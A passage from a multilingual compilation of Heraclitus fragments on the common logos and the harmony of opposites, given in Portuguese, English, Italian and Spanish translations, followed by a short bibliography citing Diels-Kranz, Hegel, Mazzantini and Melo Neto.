intelletto. Ma, pur essendo evidente che la verità parlante è comune a ogni intelleto, la
maggior parte degli uomini vive come se avesse una ragione propria ed esclusiva.

     
Por isso é preciso seguir o-que-é-com, (isto é, o comum; pois o comum é o-que-é-com).
Mas, o logos sendo o-que-é-com, vivem os homens como se tivessem uma inteligência
particular.

     Es necesario entonces seguir lo que es común. Pero aunque esta Verdad sea común, la
muchedumbre vive como si tuviese una inteligencia individual.

     

      Heráclito (diz que) o contrário é convergente e a partir dos divergentes surge a mais
bela harmonia [ e tudo vem a ser segundo a discórdia ].

     
It is the opposite which is good for us.
Ciò che si oppone conviene, e dalle cose che differiscono si genera l’armonia più
bella, e tutte le cose nascono secondo gara e contesa.

     
Heráclito (dizendo que) o contrário é convergente e dos divergentes nasce a mais bela
harmonia, e tudo segundo a discórdia.

     
Los contrarios concuerdan, la discordancia crea la más bella armonía, (que todo se
produce por la discordia).

     

      Escutando descompassados assemelham-se a surdos; eis o ditado para eles ‘estando
apresentam-se ausentes’.

     
Fools when they do hear are like the deaf: of them does the saying bear witness that
they are absent when present.

     
Ignari ascoltando somigliano ai sordi e il detto comune fa di essi testimonianza: pur
essendo presenti sono assenti.

     
Ouvindo descompassados assemelham-se a surdos; o ditado lhes concerne: presentes
estão ausentes.

     
(Los que carecen de inteligencia) no comprenden aunque escuchen: son como los
sordos. A ellos se aplica el proverbio: "Presentes, están ausentes".

     

     E que isso todos não sabem nem concordam, acusando que: não compreendem como
o divergente consigo mesmo concorda; harmonia de tensões contrárias, como do arco e da
lira.

     
Men do not know how what is at variance agrees with itself. It is an attunement of
opposite tensions, like that of the bow and the lyre.

     
Non comprendono come ciò che è discorde con se stesso concordi: armonia di
opposta tensione, come quella dell’arco e della lira.

     
Não compreendem como o divergente consigo mesmo concorda; harmonia de tensões
contrárias, como de arco e lira.

     
Ellos no comprenden cómo los contrarios se funden en la unidad: armonía de
tensiones opuestas como la del arco y la lira.

     

      É necessário saber que o combate sendo o-que-se-lança-com, e a justiça (é) discórdia,
e todas as coisas vêm a ser segundo a discórdia e a necessidade.

     
We must know that war is common to all and strife is justice, and that all things come
into being and pass away (?) through strife.

     
Bisogna capire che la guerra è legge comune, e la giustizia è nella gara; – secondo
gara e contesa, e necessità, tutte le cose accadono.

     
É preciso saber que o combate é o-que-é-com, é justiça (é) discórdia, e que todas as
(coisas) vêm a ser segundo a discórdia e necessidade.

     
Hay que saber que la guerra es común, que la justicia es lucha, y que según lucha y
necesidad el universo se produce.

     


      Heráclito diz que para os despertos há uma ordem única e comum, mas cada um se
revira para o seu lado particular para se acomodar na cama.

     
The waking have one common world, but the sleeping turn aside each into a world of
his own.

     
Per i pienamente desti esiste un unico mondo sociale (universalmente comunicabile); -i
dormenti si ripiegano ciascuno verso un proprio mondo esclusivo.

     
Heráclito diz que para os despertos um mundo único e comum é, mas os que estão no
leito cada um se revira para o seu próprio.

     
Los hombres, cuando están despiertos, tienen un mundo único y común. (En el sueño,
cada uno se vuelve a su propio mundo).

     

     

     Pois o-que-se-lança-com é o princípio e limite da periferia do círculo.

     In the circumference of a circle the beginning and end are common.

     Comune infatti, sulla circonferenza del circolo, è l’inizio e il termine.

     Pois comum (é) princípio e fim em periferia de círculo.

     En la periferia de un círculo, comunes son principio y fin.

     

O-que-se-lança-com
é para todos o pensar.

     
Thought is common to all.

     
A tutti è comune il pensare.

     
Comum é a todos o pensar.

     
El pensar es común.

     


      Those who speak with understanding must hold fast to what is common to all as a city
holds fast to its law, and even more strongly. For all human laws are fed by the one divine
law. It prevails as much as it will, and suffices for all things with something to spare.

     
Coloro che parlano con itelletto devono farsi di ciò che ad ogni intelletto è comune
(del Logos), come la città si fa forte della legge, e anzi molto di più; poichè tutte le leggi
umane si alimentano di quell’unica legge suprema, che è quella divina; questa infatti può
tanto quanto vuole, e basta a tutto, e sovrabbonda.

     
(Os) que falam com inteligência é necessário que se fortaleçam como o comum de
todos, tal como a lei e a cidade, e muito mais fortemente: pois alimentam-se todas as coisas
humanas de uma só, a divina: pois, domina tão longe quanto quer, e é suficiente para todas
as (coisas) e ainda sobra.

     
Para hablar con inteligencia es necesario apoyarse en lo que es común, así como una
ciudad en su ley, y mucho más firmemente aún. Porque todas las leyes humanas proceden de
una, divina, y ésta impera tanto cuanto quiere y basta al universo, y aun le excede.

     
BIBLIOGRAFIA.

  •       DIELS, HERMANN & KRANZ, WALTHER. Die Fragmente der Vorsokratiker, I,
    Weidmannsche Verlagsbuchhandlung, Berlin-Neukölln, 1954 . – Citado: DK (Diels-Kranz).
  •       HEGEL, G.W.F. Vorlesungen über die Geschichte der Philosophie, I, (Obras, XVIII),
    Suhrkamp Verlag, Frankfurt am Main, 1971 . (Preleções sobre a História da Filosofia),
    pp. 319-343 .
  •       MAZZANTINI, Carlo. Eraclito – i frammenti e le testimonianze (testo e traduzione).
    Introduzione e commento, con un indice delle fonti, dei nomi, appendici critiche e
    bibliografia. Torino, Chiantore, 1945
  •     MELO NETO, João Cabral de. Obra completa: volume único. Org. Marly de Oliveira. Rio de
    Janeiro, Nova Aguilar, 1994 . pp.350-351 . (Biblioteca luso-brasileira. Série brasileira)

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